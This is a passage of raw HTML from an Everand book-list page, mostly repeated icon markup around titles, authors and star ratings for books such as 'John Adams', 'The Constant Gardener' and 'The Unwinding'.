1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">John Adams</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/683814315/David-McCullough" target="_blank">David McCullough</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span 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0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">On Fire: The (Burning) Case for a Green New Deal</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/684364153/Naomi-Klein" target="_blank">Naomi Klein</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 4 out of 5 stars</span></div><div class="_1c33kx">4/5 (74)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/224306619/The-Light-Between-Oceans-A-Novel" target="_blank"><span class="visually_hidden">The Light Between Oceans: A Novel</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/224306619/149x198/5a300f585d/1710925558?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/224306619/298x396/21c3e990fc/1710925558?v=1 2x" alt="The Light Between Oceans: A Novel" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Light Between Oceans: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/685040006/M-L-Stedman" target="_blank">M.L. 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0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Manhattan Beach: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/442472030/Jennifer-Egan" target="_blank">Jennifer Egan</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span 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class="title" data-e2e="doc-info-title">The Constant Gardener: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/685258256/John-le-Carre" target="_blank">John le Carré</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_halffill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 3.5 out of 5 stars</span></div><div class="_1c33kx">3.5/5 (104)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" class="list_item_container"><a data-e2e="list-item-link" class="link" href="https://www.everand.com/book/212863738/The-Unwinding-An-Inner-History-of-the-New-America" target="_blank"><span class="visually_hidden">The Unwinding: An Inner History of the New America</span></a><div class="thumbnail_and_info"><img src="https://imgv2-1-f.scribdassets.com/img/word_document/212863738/149x198/486257e90d/1714630079?v=1" srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/212863738/298x396/40684a0550/1714630079?v=1 2x" alt="The Unwinding: An Inner History of the New America" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Unwinding: An Inner History of the New America</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/681650763/George-Packer" target="_blank">George Packer</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span 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srcSet="https://imgv2-1-f.scribdassets.com/img/word_document/239588474/298x396/644cc7285e/1707940557?v=1 2x" alt="Rise of ISIS: A Threat We Can't Ignore" aria-label="book" class="thumbnail_img"/><div class="doc_info"><div class="crossLinkHeading"><span class="Icon-module_wrapper_LUeQrI"><svg width="12" height="12" fill="none" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.654 8.21c.13-.441.159-.81.159-1.085 0-1.144-.67-1.899-.67-1.899h1.594c.182.382.32.97.32 1.783 0 .335-.1 1.206-.641 2.193l1.984 2.603H9.108l-.84-1.104C7.442 11.445 6.26 12 4.577 12 2.454 12 1 10.545 1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 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